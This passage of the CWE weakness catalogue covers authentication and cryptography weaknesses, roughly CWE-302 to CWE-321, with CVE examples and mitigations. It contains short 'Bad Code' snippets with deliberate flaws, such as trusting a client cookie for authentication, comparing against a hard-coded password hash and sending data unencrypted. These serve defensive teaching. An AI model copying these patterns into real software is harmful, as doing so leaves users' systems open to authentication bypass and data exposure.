Nature	Type	ID	Name	V	Page
ChildOf	We	287	Improper Authentication	**699** **1000**	312
PeerOf	We	327	Use of a Broken or Risky Cryptographic Algorithm	1000	351
ChildOf	C	718	OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management	**629**	714

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Reflection attack in an auth protocol
OWASP Top Ten 2007	A7	CWE More Specific	Broken Authentication and Session Management

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
90	Reflection Attack in Authentication Protocol	

Maintenance Notes

The term "reflection" is used in multiple ways within CWE and the community, so its usage should be reviewed.

CWE-302: Authentication Bypass by Assumed-Immutable Data

Weakness ID: 302 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The authentication scheme or implementation uses key data elements that are assumed to be immutable, but can be controlled or modified by the attacker.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

In the following example, an "authenticated" cookie is used to determine whether or not a user should be granted access to a system. Of course, modifying the value of a cookie on the client-side is trivial, but many developers assume that cookies are essentially immutable.

Java Example: *Bad Code*

```
boolean authenticated = new Boolean(getCookieValue("authenticated")).booleanValue();
if (authenticated) {
  ...
}
```

Observed Examples

Reference	Description
CVE-2002-0367	DebPloit
CVE-2002-1730	Authentication bypass by setting certain cookies to "true".
CVE-2002-1734	Authentication bypass by setting certain cookies to "true".
CVE-2002-2054	Gain privileges by setting cookie.
CVE-2002-2064	Admin access by setting a cookie.
CVE-2004-0261	Web auth
CVE-2004-1611	Product trusts authentication information in cookie.
CVE-2005-1708	Authentication bypass by setting admin-testing variable to true.

Reference	Description
CVE-2005-1787	Bypass auth and gain privileges by setting a variable.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	592	Authentication Bypass Issues	**699 1000**	582
ChildOf	Category	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	**711**	717

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Authentication Bypass via Assumed-Immutable Data
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
10	Buffer Overflow via Environment Variables
13	Subverting Environment Variable Values
21	Exploitation of Session Variables, Resource IDs and other Trusted Credentials
31	Accessing/Intercepting/Modifying HTTP Cookies
39	Manipulating Opaque Client-based Data Tokens
45	Buffer Overflow via Symbolic Links
77	Manipulating User-Controlled Variables

CWE-303: Improper Implementation of Authentication Algorithm

Weakness ID: 303 *(Weakness Base)* **Status:** Draft

Description

Summary

Authentication techniques should follow the algorithms that define them exactly, otherwise a malformed or improper implementation might make it possible to bypass the authentication.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2003-0750	Conditional should have been an 'or' not an 'and'.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	287	Improper Authentication	**699 1000**	312

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Authentication Logic Error

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
90	Reflection Attack in Authentication Protocol

CWE-304: Missing Critical Step in Authentication

Weakness ID: 304 *(Weakness Base)* **Status:** Draft

Description

Summary

The software implements an authentication technique, but it skips a step that weakens the technique.

Extended Description

Authentication techniques should follow the algorithms that define them exactly, otherwise authentication can be bypassed or more easily subjected to brute force attacks.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2004-2163	Shared secret not verified in a RADIUS response packet, allowing authentication bypass by spoofing server replies.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	287	Improper Authentication	**699**	312
CanPrecede	W	287	Improper Authentication	**1000**	312
ChildOf	W	573	Failure to Follow Specification	**1000**	570
ChildOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	**711**	717

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Missing Critical Step in Authentication

CWE-305: Authentication Bypass by Primary Weakness

Weakness ID: 305 *(Weakness Base)* **Status:** Draft

Description

Summary

The authentication algorithm is sound, but the implemented mechanism can be bypassed as the result of a separate weakness that is primary to the authentication error.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2000-0979	The password is not properly checked, which allows remote attackers to bypass access controls by sending a 1-byte password that matches the first character of the real password.
CVE-2001-0088	
CVE-2002-1374	The provided password is only compared against the first character of the real password.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	592	Authentication Bypass Issues	**699** **1000**	582

Relationship Notes

Most "authentication bypass" errors are resultant, not primary.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Authentication Bypass by Primary Weakness

CWE-306: No Authentication for Critical Function

Weakness ID: 306 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-1810	MFV. Access TFTP server without authentication and obtain configuration file with sensitive plaintext information.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	287	Improper Authentication	**699** **1000**	312

Relationship Notes

This is separate from "bypass" issues in which authentication exists, but is faulty.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	No Authentication for Critical Function

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
12	Choosing a Message/Channel Identifier on a Public/Multicast Channel
36	Using Unpublished Web Service APIs
40	Manipulating Writeable Terminal Devices
62	Cross Site Request Forgery (aka Session Riding)

CWE-307: Failure to Restrict Excessive Authentication Attempts

Weakness ID: 307 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not implement sufficient measures to prevent multiple failed authentication attempts within in a short time frame, making it more susceptible to brute force attacks.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Demonstrative Examples

The following code, extracted from a servlet's doPost() method, performs an authentication lookup every time the servlet is invoked and makes no attempt to restrict excessive authentication attempts.

Java Example: *Bad Code*

```
String username = request.getParameter("username");
String password = request.getParameter("password");
int authResult = authenticateUser(username, password);
```

Observed Examples

Reference	Description
CVE-1999-1152	Product does not disconnect or timeout after multiple failed logins.
CVE-1999-1324	User accounts not disabled when they exceed a threshold; possibly a resultant vuln.
CVE-2001-0395	Product does not disconnect or timeout after multiple failed logins.
CVE-2001-1291	Product does not disconnect or timeout after multiple failed logins.
CVE-2001-1339	Product does not disconnect or timeout after multiple failed logins.
CVE-2002-0628	Product does not disconnect or timeout after multiple failed logins.

Potential Mitigations

Common protection mechanisms include disconnecting a user, implementing a timeout, locking out a targeted account, or requiring a computational task on the user's part.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	287	Improper Authentication	**699** 1000	312
ChildOf	Wc	703	Failure to Handle Exceptional Conditions	**1000**	706
ChildOf		724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	**711**	717

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Multiple Failed Authentication Attempts not Prevented

CWE-308: Use of Single-factor Authentication

Weakness ID: 308 *(Weakness Base)* **Status:** Draft

Description

Summary

The use of single-factor authentication can lead to unnecessary risk of compromise when compared with the benefits of a dual-factor authentication scheme.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Common Consequences

Authentication

If the secret in a single-factor authentication scheme gets compromised, full authentication is possible.

Likelihood of Exploit

High

Demonstrative Examples

C Example:

```
unsigned char *check_passwd(char *plaintext) {
  ctext=simple_digest("sha1",plaintext,strlen(plaintext)
  ...
  );
  if (ctext==secret_password()) // Log me in
}
```

Java Example:

```
String plainText = new String(plainTextIn) MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
if (digest==secret_password()) //log me in
```

Potential Mitigations

Architecture and Design

Use multiple independent authentication schemes, which ensures that -- if one of the methods is compromised -- the system itself is still likely safe from compromise.

Other Notes

While the use of multiple authentication schemes is simply piling on more complexity on top of authentication, it is inestimably valuable to have such measures of redundancy. The use of weak, reused, and common passwords is rampant on the internet. Without the added protection of multiple authentication schemes, a single mistake can result in the compromise of an account. For this reason, if multiple schemes are possible and also easy to use, they should be implemented and required.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	287	Improper Authentication	**699** **1000**	312
PeerOf	We	309	Use of Password System for Primary Authentication	1000	334
ChildOf	We	654	Reliance on a Single Factor in a Security Decision	1000	641

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Using single-factor authentication

CWE-309: Use of Password System for Primary Authentication

Weakness ID: 309 *(Weakness Base)* **Status:** Draft

Description

Summary

The use of password systems as the primary means of authentication may be subject to several flaws or shortcomings, each reducing the effectiveness of the mechanism.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Common Consequences

Authentication

The failure of a password authentication mechanism will almost always result in attackers being authorized as valid users.

Likelihood of Exploit

Very High

Demonstrative Examples

C Example:

```
unsigned char *check_passwd(char *plaintext) {
  ctext=simple_digest("sha1",plaintext,strlen(plaintext)...);
  if (ctext==secret_password()) // Log me in
}
```

Java Example:

```
String plainText = new String(plainTextIn) MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
```

```
byte[] digest = password.digest();
if (digest==secret_password()) //log me in
```

Potential Mitigations

Architecture and Design

In order to protect password systems from compromise, the following should be noted:

Passwords should be stored safely to prevent insider attack and to ensure that -- if a system is compromised -- the passwords are not retrievable. Due to password reuse, this information may be useful in the compromise of other systems these users work with. In order to protect these passwords, they should be stored encrypted, in a non-reversible state, such that the original text password cannot be extracted from the stored value.

Password aging should be strictly enforced to ensure that passwords do not remain unchanged for long periods of time. The longer a password remains in use, the higher the probability that it has been compromised. For this reason, passwords should require refreshing periodically, and users should be informed of the risk of passwords which remain in use for too long.

Password strength should be enforced intelligently. Rather than restrict passwords to specific content, or specific length, users should be encouraged to use upper and lower case letters, numbers, and symbols in their passwords. The system should also ensure that no passwords are derived from dictionary words.

Architecture and Design

Use a zero-knowledge password protocol, such as SRP.

Architecture and Design

Ensure that passwords are stored safely and are not reversible.

Architecture and Design

Implement password aging functionality that requires passwords be changed after a certain point.

Architecture and Design

Use a mechanism for determining the strength of a password and notify the user of weak password use.

Architecture and Design

Inform the user of why password protections are in place, how they work to protect data integrity, and why it is important to heed their warnings.

Background Details

Password systems are the simplest and most ubiquitous authentication mechanisms. However, they are subject to such well known attacks,and such frequent compromise that their use in the most simple implementation is not practical.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	287	Improper Authentication	**699 1000**	312
PeerOf	We	308	Use of Single-factor Authentication	1000	333
ChildOf	We	654	Reliance on a Single Factor in a Security Decision	1000	641
ChildOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	**711**	717
PeerOf	*Ww*	*262*	*Not Using Password Aging*	*1000*	*288*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Using password systems
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

CWE-310: Cryptographic Issues

Category ID: 310 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to the use of cryptography.

Applicable Platforms

Languages

- All

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	254	Security Features	**699**	279
CanAlsoBe	Wa	*208*	*Timing Discrepancy Information Leak*	*1000*	*237*
CanAlsoBe	Wa	*226*	*Sensitive Information Uncleared Before Release*	*1000*	*252*
ParentOf	Wa	*311*	*Failure to Encrypt Sensitive Data*	***699***	*336*
ParentOf	C	*320*	*Key Management Errors*	***699***	*344*
ParentOf	Wa	*325*	*Missing Required Cryptographic Step*	***699***	*349*
ParentOf	Wc	*326*	*Weak Encryption*	***699***	*349*
ParentOf	Wa	*328*	*Reversible One-Way Hash*	***699***	*353*
ParentOf	Ww	*329*	*Not Using a Random IV with CBC Mode*	***699***	*354*
MemberOf	V	*635*	*Weaknesses Used by NVD*	***635***	*616*

Relationship Notes

Note: some of these can be resultant.

Functional Areas

- Cryptography

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Cryptographic Issues

Maintenance Notes

This category is incomplete and needs refinement, as there is good documentation of cryptographic flaws and related attacks.

CWE-311: Failure to Encrypt Sensitive Data

Weakness ID: 311 *(Weakness Base)* **Status:** Draft

Description

Summary

The failure to encrypt data passes up the guarantees of confidentiality, integrity, and accountability that properly implemented encryption conveys.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality

Properly encrypted data channels ensure data confidentiality.

Integrity

Properly encrypted data channels ensure data integrity.

Accountability

Properly encrypted data channels ensure accountability.

Likelihood of Exploit

Very High

Demonstrative Examples

C Example: *Bad Code*

```
server.sin_family = AF_INET; hp = gethostbyname(argv[1]);
if (hp==NULL) error("Unknown host");
```

```
memcpy( (char *)&server.sin_addr,(char *)hp->h_addr,hp->h_length);
if (argc < 3) port = 80;
else port = (unsigned short)atoi(argv[3]); server.sin_port = htons(port);
if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0) error("Connecting");
...
while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {
  write(dfd,password_buffer,n);
  ...
```

Java Example: *Bad Code*

```
try {
  URL u = new URL("http://www.importantsecretsite.org/");
  HttpURLConnection hu = (HttpURLConnection) u.openConnection();
  hu.setRequestMethod("PUT");
  hu.connect();
  OutputStream os = hu.getOutputStream(); hu.disconnect();
}
catch (IOException e) {
  //...
```

Potential Mitigations

Requirements specification: require that encryption be integrated into the system.

Architecture and Design

Ensure that encryption is properly integrated into the system design, not simply as a drop-in replacement for sockets.

Other Notes

If the application does not use a secure channel, such as SSL, to exchange sensitive information, it is possible for an attacker with access to the network traffic to sniff packets from the connection and uncover the data. This attack is not technically difficult, but does require physical access to some portion of the network over which the sensitive data travels. This access is usually somewhere near where the user is connected to the network (such as a colleague on the company network) but can be anywhere along the path from the user to the end server. Omitting the use of encryption in any program which transfers data over a network of any kind should be considered on par with delivering the data sent to each user on the local networks of both the sender and receiver. Worse, this omission allows for the injection of data into a stream of communication between two parties -- with no means for the victims to separate valid data from invalid. In this day of widespread network attacks and password collection sniffers, it is an unnecessary risk to omit encryption from the design of any system which might benefit from it.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	310	Cryptographic Issues	**699**	335
ChildOf	Wc	693	Protection Mechanism Failure	**1000**	684
ChildOf	C	719	OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage	**629**	715
ChildOf	C	720	OWASP Top Ten 2007 Category A9 - Insecure Communications	629	715
ChildOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	**711**	719
ParentOf	We	*312*	*Cleartext Storage of Sensitive Information*	***699 1000***	*338*
ParentOf	We	*319*	*Cleartext Transmission of Sensitive Information*	***699 1000***	*342*
PeerOf	We	*327*	*Use of a Broken or Risky Cryptographic Algorithm*	*1000*	*351*
ParentOf	Wv	*614*	*Sensitive Cookie in HTTPS Session Without 'Secure' Attribute*	***699 1000***	*600*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to encrypt data
OWASP Top Ten 2007	A8	CWE More Specific	Insecure Cryptographic Storage
OWASP Top Ten 2007	A9	CWE More Specific	Insecure Communications

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
65	Passively Sniff and Capture Application Code Bound for Authorized Client	

CWE-312: Cleartext Storage of Sensitive Information

Weakness ID: 312 *(Weakness Base)* **Status:** Draft

Description

Summary

The application stores sensitive information in cleartext within a resource that might be accessible to another control sphere, when the information should be encrypted or otherwise protected.

Extended Description

Because the information is stored in cleartext, attackers could potentially read it.

Time of Introduction

- Architecture and Design

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	311	Failure to Encrypt Sensitive Data	**699 1000**	336
ParentOf	WV	*313*	*Plaintext Storage in a File or on Disk*	***699 1000***	*338*
ParentOf	WV	*314*	*Plaintext Storage in the Registry*	***699 1000***	*339*
ParentOf	WV	*315*	*Plaintext Storage in a Cookie*	***699 1000***	*339*
ParentOf	WV	*316*	*Plaintext Storage in Memory*	***699 1000***	*340*
ParentOf	WV	*317*	*Plaintext Storage in GUI*	***699 1000***	*341*
ParentOf	WV	*318*	*Plaintext Storage in Executable*	***699 1000***	*342*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Plaintext Storage of Sensitive Information

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
37	Lifting Data Embedded in Client Distributions	

CWE-313: Plaintext Storage in a File or on Disk

Weakness ID: 313 *(Weakness Variant)* **Status:** Draft

Description

Summary

Storing sensitive data in plaintext in a file, or on disk, makes the data more easily accessible than if encrypted. This significantly lowers the difficulty of exploitation by attackers.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2001-1481	Plaintext credentials in world-readable file.

Reference	Description
CVE-2002-1696	Decrypted copy of a message written to disk given a combination of options and when user replies to an encrypted message.
CVE-2004-2397	Plaintext storage of private key and passphrase in log file when user imports the key.
CVE-2005-1828	Password in cleartext in config file.
CVE-2005-2209	Password in cleartext in config file.

Potential Mitigations

Secret information should not be stored in plaintext in a file or disk. Even if heavy fortifications are in place, sensitive data should be encrypted to prevent the risk of losing confidentiality.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	312	Cleartext Storage of Sensitive Information	**699 1000**	338

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Plaintext Storage in File or on Disk

CWE-314: Plaintext Storage in the Registry

Weakness ID: 314 *(Weakness Variant)* **Status:** Draft

Description

Summary

Storing sensitive data in plaintext in the registry makes the data more easily accessible than if encrypted. This significantly lowers the difficulty of exploitation by attackers.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2005-2227	Plaintext passwords in registry key.

Potential Mitigations

Sensitive information should not be stored in plaintext in a registry. Even if heavy fortifications are in place, sensitive data should be encrypted to prevent the risk of losing confidentiality.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	312	Cleartext Storage of Sensitive Information	**699 1000**	338

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Plaintext Storage in Registry

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
37	Lifting Data Embedded in Client Distributions	

CWE-315: Plaintext Storage in a Cookie

Weakness ID: 315 *(Weakness Variant)* **Status:** Draft

Description

Summary

Storing sensitive data in plaintext in a cookie makes the data more easily accessible than if encrypted. This significantly lowers the difficulty of exploitation by attackers.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Demonstrative Examples

The following code excerpt stores a plaintext user account ID in a browser cookie.

Java Example: *Bad Code*

```
response.addCookie( new Cookie("userAccountID", acctID);
```

Observed Examples

Reference	Description
CVE-2001-1536	Usernames/passwords in cleartext in cookies.
CVE-2001-1537	Default configuration has cleartext usernames/passwords in cookie.
CVE-2002-1800	Admin password in plaintext in a cookie.
CVE-2005-2160	Authentication information stored in cleartext in a cookie.

Potential Mitigations

Sensitive information should not be stored in plaintext in a cookie. Even if heavy fortifications are in place, sensitive data should be encrypted to prevent the risk of losing confidentiality.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wa	312	Cleartext Storage of Sensitive Information	**699** **1000**	338

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Plaintext Storage in Cookie

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
31	Accessing/Intercepting/Modifying HTTP Cookies	
37	Lifting Data Embedded in Client Distributions	
39	Manipulating Opaque Client-based Data Tokens	
74	Manipulating User State	

CWE-316: Plaintext Storage in Memory

Weakness ID: 316 *(Weakness Variant)* **Status:** Draft

Description

Summary

Storing sensitive data in plaintext in memory makes the data more easily accessible than if encrypted. This significantly lowers the difficulty of exploitation by attackers.

Extended Description

The sensitive memory might be saved to disk, stored in a core dump, or remain uncleared if the application crashes, or if the programmer does not clear the memory before freeing it.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
BID:10155	Sensitive authentication information in cleartext in memory.
CVE-2001-0984	Password protector leaves passwords in memory when window is minimized, even when "clear password when minimized" is set.
CVE-2001-1517	Sensitive authentication information in cleartext in memory.
CVE-2003-0291	SSH client does not clear credentials from memory.

Potential Mitigations

Sensitive information should not be stored in plaintext in memory. Even if heavy fortifications are in place, sensitive data should be encrypted to prevent the risk of losing confidentiality.

Other Notes

It could be argued that such problems are usually only exploitable by those with administrator privileges. However, swapping could cause the memory to be written to disk and leave it accessible to physical attack afterwards.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	312	Cleartext Storage of Sensitive Information	**699 1000**	338
ChildOf	Category	633	Weaknesses that Affect Memory	**631**	615

Relationship Notes

This could be a resultant weakness, e.g. if the compiler removes code that was intended to wipe memory.

Affected Resources

- Memory

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Plaintext Storage in Memory

CWE-317: Plaintext Storage in GUI

Weakness ID: 317 *(Weakness Variant)* **Status:** Draft

Description

Summary

Storing sensitive data in plaintext within the GUI makes the data more easily accessible than if encrypted. This significantly lowers the difficulty of exploitation by attackers.

Extended Description

An attacker can often obtain data from a GUI, even if hidden, by using an API to directly access GUI objects such as windows and menus.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Operating Systems

- Windows *(Sometimes)*

Observed Examples

Reference	Description
CVE-2002-1848	Unencrypted passwords stored in GUI dialog may allow local users to access the passwords.

Potential Mitigations

Sensitive information should not be stored in plaintext in a GUI. Even if heavy fortifications are in place, sensitive data should be encrypted to prevent the risk of losing confidentiality.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	312	Cleartext Storage of Sensitive Information	**699 1000**	338

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Plaintext Storage in GUI

CWE-318: Plaintext Storage in Executable

Weakness ID: 318 *(Weakness Variant)* **Status:** Draft

Description

Summary

Sensitive information should not be stored in plaintext in an executable. Attackers can reverse engineer a binary code to obtain secret data.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2005-1794	Product stores RSA private key in a DLL and uses it to sign a certificate, allowing spoofing of servers and MITM attacks.

Potential Mitigations

Sensitive information should not be stored in an executable. Even if heavy fortifications are in place, sensitive data should be encrypted to prevent the risk of losing confidentiality.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	312	Cleartext Storage of Sensitive Information	**699** **1000**	338

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Plaintext Storage in Executable

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
37	Lifting Data Embedded in Client Distributions
65	Passively Sniff and Capture Application Code Bound for Authorized Client

CWE-319: Cleartext Transmission of Sensitive Information

Weakness ID: 319 *(Weakness Base)* **Status:** Draft

Description

Summary

The software transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.

Extended Description

Many communication channels can be "sniffed" by attackers during data transmission. For example, network traffic can often be sniffed by any attacker who has access to a network interface. This significantly lowers the difficulty of exploitation by attackers.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality

Anyone can read the contents of the message if they have access to any channel being used for communication.

Likelihood of Exploit

Medium to High

Observed Examples

Reference	Description
CVE-2002-1949	Passwords transmitted in cleartext.
CVE-2004-1852	Product transmits Blowfish encryption key in cleartext.
CVE-2005-3140	Product sends file with cleartext passwords in e-mail message intended for diagnostic purposes.
CVE-2007-4786	Product sends passwords in cleartext to a log server.
CVE-2007-4961	Chain: cleartext transmission of the MD5 hash of password enables attacks against a server that is susceptible to replay (CWE-294).
CVE-2007-5626	Backup routine sends password in cleartext in email.
CVE-2008-0374	Printer sends configuration information, including administrative password, in cleartext.
CVE-2008-3289	Product sends password hash in cleartext in violation of intended policy.
CVE-2008-4122	Chain: failure to set "secure" flag in HTTPS cookie causes it to be transmitted across unencrypted HTTP.
CVE-2008-4390	Remote management feature sends sensitive information including passwords in cleartext.

Potential Mitigations

Architecture and Design

Encrypt the data with a reliable encryption scheme before transmitting.

Implementation

When using web applications with SSL, use SSL for the entire session from login to logout, not just for the initial login page.

Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Testing

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process, trigger the feature that sends the data, and look for the presence or absence of common cryptographic functions in the call tree. Monitor the network and determine if the data packets contain readable commands. Tools exist for detecting if certain encodings are in use. If the traffic contains high entropy, this might indicate the usage of encryption.

Operation

Configure servers to use encrypted channels for communication, which may include SSL or other secure protocols.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	311	Failure to Encrypt Sensitive Data	**699 1000**	336
ChildOf	Category	751	Insecure Interaction Between Components	**750**	733
ParentOf	Weakness	*5*	*J2EE Misconfiguration: Data Transmission Without Encryption*	***1000***	*2*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Plaintext Transmission of Sensitive Information

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
65	Passively Sniff and Capture Application Code Bound for Authorized Client	

References

OWASP. "Top 10 2007-Insecure Communications". < http://www.owasp.org/index.php/Top_10_2007-A9 >.

CWE-320: Key Management Errors

Category ID: 320 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to errors in the management of cryptographic keys.

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2000-0762	default installation of product uses a default encryption key, allowing others to spoof the administrator
CVE-2001-0072	Exposed or accessible private key (overlaps information leak) -- Crypto program imports both public and private keys but does not tell the user about the private keys, possibly breaking the web of trust.
CVE-2001-1527	administration passwords in cleartext in executable
CVE-2002-1947	static key / global shared key -- "global shared key" - product uses same SSL key for all installations, allowing attackers to eavesdrop or hijack session.
CVE-2005-1794	Exposed or accessible private key (overlaps information leak) -- Private key stored in executable
CVE-2005-2146	insecure permissions when generating secret key, allowing spoofing
CVE-2005-2196	static key / global shared key -- Product uses default WEP key when not connected to a known or trusted network, which can cause it to automatically connect to a malicious network. Overlaps: default.
CVE-2005-3256	Misc -- Encryption product accidentally selects the wrong key if the key doesn't have additional fields that are normally expected, leading to infoleak to the owner of that wrong key
CVE-2005-4002	static key / global shared key -- "global shared key" - product uses same secret key for all installations, allowing attackers to decrypt data.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	310	Cryptographic Issues	**699**	335
ParentOf	We	*321*	*Use of Hard-coded Cryptographic Key*	***699***	*344*
ParentOf	We	*322*	*Key Exchange without Entity Authentication*	***699***	*346*
ParentOf	We	*323*	*Reusing a Nonce, Key Pair in Encryption*	***699***	*347*
ParentOf	We	*324*	*Use of a Key Past its Expiration Date*	***699***	*348*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Key Management Errors

Maintenance Notes

This category should probably be split into multiple sub-categories.

CWE-321: Use of Hard-coded Cryptographic Key

Weakness ID: 321 *(Weakness Base)* **Status:** Draft

Description

Summary

The use of a hard-coded cryptographic key significantly increases the possibility that encrypted data may be recovered.

Time of Introduction
- Architecture and Design

Applicable Platforms
Languages
- All

Common Consequences
Authentication
If hard-coded cryptographic keys are used, it is almost certain that malicious users will gain access through the account in question.

Likelihood of Exploit
High

Demonstrative Examples
C/C++ Example: *Bad Code*

```
int VerifyAdmin(char *password) {
  if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b")) {
    printf("Incorrect Password!\n");
    return(0);
  }
  printf("Entering Diagnostic Mode...\n");
  return(1);
}
```

Java Example: *Bad Code*

```
int VerifyAdmin(String password) {
  if (passwd.Equals("68af404b513073584c4b6f22b6c63e6b")) {
    return(0);
  } //Diagnostic Mode
  return(1);
}
```

Potential Mitigations
Architecture and Design
Prevention schemes mirror that of hard-coded password storage.

Other Notes
The main difference between the use of hard-coded passwords and the use of hard-coded cryptographic keys is the false sense of security that the former conveys. Many people believe that simply hashing a hard-coded password before storage will protect the information from malicious users. However, many hashes are reversible (or at least vulnerable to brute force attacks) -- and further, many authentication protocols simply request the hash itself, making it no better than a password.

Relationships
Nature	Type	ID	Name	V	Page
ChildOf	C	320	Key Management Errors	**699**	344
ChildOf	We	344	Use of Invariant Value in Dynamically Changing Context	**1000**	366
ChildOf	We	671	Lack of Administrator Control over Security	1000	660
ChildOf	C	719	OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage	**629**	715
ChildOf	C	720	OWASP Top Ten 2007 Category A9 - Insecure Communications	629	715
ChildOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	**711**	719
